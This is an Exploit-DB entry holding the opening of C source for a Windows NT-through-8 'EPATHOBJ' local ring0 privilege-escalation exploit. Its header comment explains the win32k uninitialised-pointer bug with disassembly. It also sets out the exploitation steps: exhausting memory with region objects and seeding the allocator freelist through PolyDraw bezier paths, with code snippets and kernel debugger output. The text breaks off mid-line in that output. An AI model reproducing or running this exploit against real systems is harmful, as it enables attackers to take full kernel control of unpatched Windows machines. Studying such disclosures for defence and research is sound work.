Exploit-DB #25912
Description: Microsoft Windows NT/2000/2003/2008/XP/Vista/7/8 - 'EPATHOBJ' Local Ring
Type: local
Platform: windows
Date: 2013-06-03
Author: Tavis Ormandy

Exploit:
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <stdio.h>
#include <stdarg.h>
#include <stddef.h>
#include <windows.h>
#include <assert.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#pragma comment(lib, "shell32")
#pragma comment(linker, "/SECTION:.text,ERW")

#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif

#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000

//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
// ----------------------------------------- taviso () cmpxchg8b com -----
//
// INTRODUCTION
//
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
// next list pointer. The bug is really nice, but exploitation when
// allocations start failing is tricky.
//
// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ     *this,
//                                        PATHRECORD   **pppr,
//                                        ULONG         *pcMax,
//                                        ULONG cNeeded)
//  .text:BFA122CA                 mov     esi, [ebp+ppr]
//  .text:BFA122CD                 mov     eax, [esi+PATHRECORD.pprPrev]
//  .text:BFA122D0                 push    edi
//  .text:BFA122D1                 mov     edi, [ebp+pprNew]
//  .text:BFA122D4                 mov     [edi+PATHRECORD.pprPrev], eax
//  .text:BFA122D7                 lea     eax, [edi+PATHRECORD.count]
//  .text:BFA122DA                 xor     edx, edx
//  .text:BFA122DC                 mov     [eax], edx
//  .text:BFA122DE                 mov     ecx, [esi+PATHRECORD.flags]
//  .text:BFA122E1                 and     ecx, not (PD_BEZIER)
//  .text:BFA122E4                 mov     [edi+PATHRECORD.flags], ecx 
//  .text:BFA122E7                 mov     [ebp+pprNewCountPtr], eax
//  .text:BFA122EA                 cmp     [edi+PATHRECORD.pprPrev], edx
//  .text:BFA122ED                 jnz     short loc_BFA122F7
//  .text:BFA122EF                 mov     ecx, [ebx+EPATHOBJ.ppath]
//  .text:BFA122F2                 mov     [ecx+PATHOBJ.pprfirst], edi
//
//  It turns out this mostly works because newpathrec() is backed by newpathalloc()
//  which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
//
//  ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
//  .text:BF9160D7                 xor     esi, esi
//  .text:BF9160DE                 push    esi
//  .text:BF9160DF                 push    esi
//  .text:BF9160E0                 push    [ebp+tag]
//  .text:BF9160E3                 push    [ebp+size]
//  .text:BF9160E6                 call    _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x)
//  .text:BF9160EB                 mov     esi, eax
//  .text:BF9160ED                 test    esi, esi
//  .text:BF9160EF                 jz      short loc_BF9160FF
//  .text:BF9160F1                 push    [ebp+size]      ; size_t
//  .text:BF9160F4                 push    0               ; int
//  .text:BF9160F6                 push    esi             ; void *
//  .text:BF9160F7                 call    _memset
//
//  However, the PATHALLOC allocator includes it's own freelist implementation, and
//  if that codepath can satisfy a request the memory isn't zeroed and returned
//  directly to the caller. This effectively means that we can add our own objects
//  to the PATHRECORD chain.
//
//  We can force this behaviour under memory pressure relatively easily, I just
//  spam HRGN objects until they start failing. This isn't super reliable, but it's
//  good enough for testing.
//
//          // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
//          // failure. Seriously, do some damn QA Microsoft, wtf.
//          for (Size = 1 << 26; Size; Size >>= 1) {
//              while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
//                  ;
//          }
//
//  Adding user controlled blocks to the freelist is a little trickier, but I've
//  found that flattening large lists of bezier curves added with PolyDraw() can
//  accomplish this reliably. The code to do this is something along the lines of:
//
//          for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
//              Points[PointNum].x      = 0x41414141 >> 4;
//              Points[PointNum].y      = 0x41414141 >> 4;
//              PointTypes[PointNum]    = PT_BEZIERTO;
//          }
//
//          for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
//              BeginPath(Device);
//              PolyDraw(Device, Points, PointTypes, PointNum);
//              EndPath(Device);
//              FlattenPath(Device);
//              FlattenPath(Device);
//              EndPath(Device);
//          }
//
//   We can verify this is working by putting a breakpoint after newpathrec, and
//   verifying the buffer is filled with recognisable values when it returns:
//
//   kd> u win32k!EPATHOBJ::pprFlattenRec+1E
//   win32k!EPATHOBJ::pprFlattenRec+0x1e:
//   95c922b8 e8acfbffff      call    win32k!EPATHOBJ::newpathrec (95c91e69)
//   95c922bd 83f801          cmp     eax,1
//   95c922c0 7407            je      win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
//   95c922c2 33c0            xor     eax,eax
//   95c922c4 e944020000      jmp     win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
//   95c922c9 56              push    esi
//   95c922ca 8b7508          mov     esi,dword ptr [ebp+8]
//   95c922cd 8b4604          mov     eax,dword ptr [esi+4]
//   kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
//   kd> g
//   fe938fac  41414140
//   fe938fac  41414140
//   fe938fac  41414140
//   fe938fac  41414140
//   fe9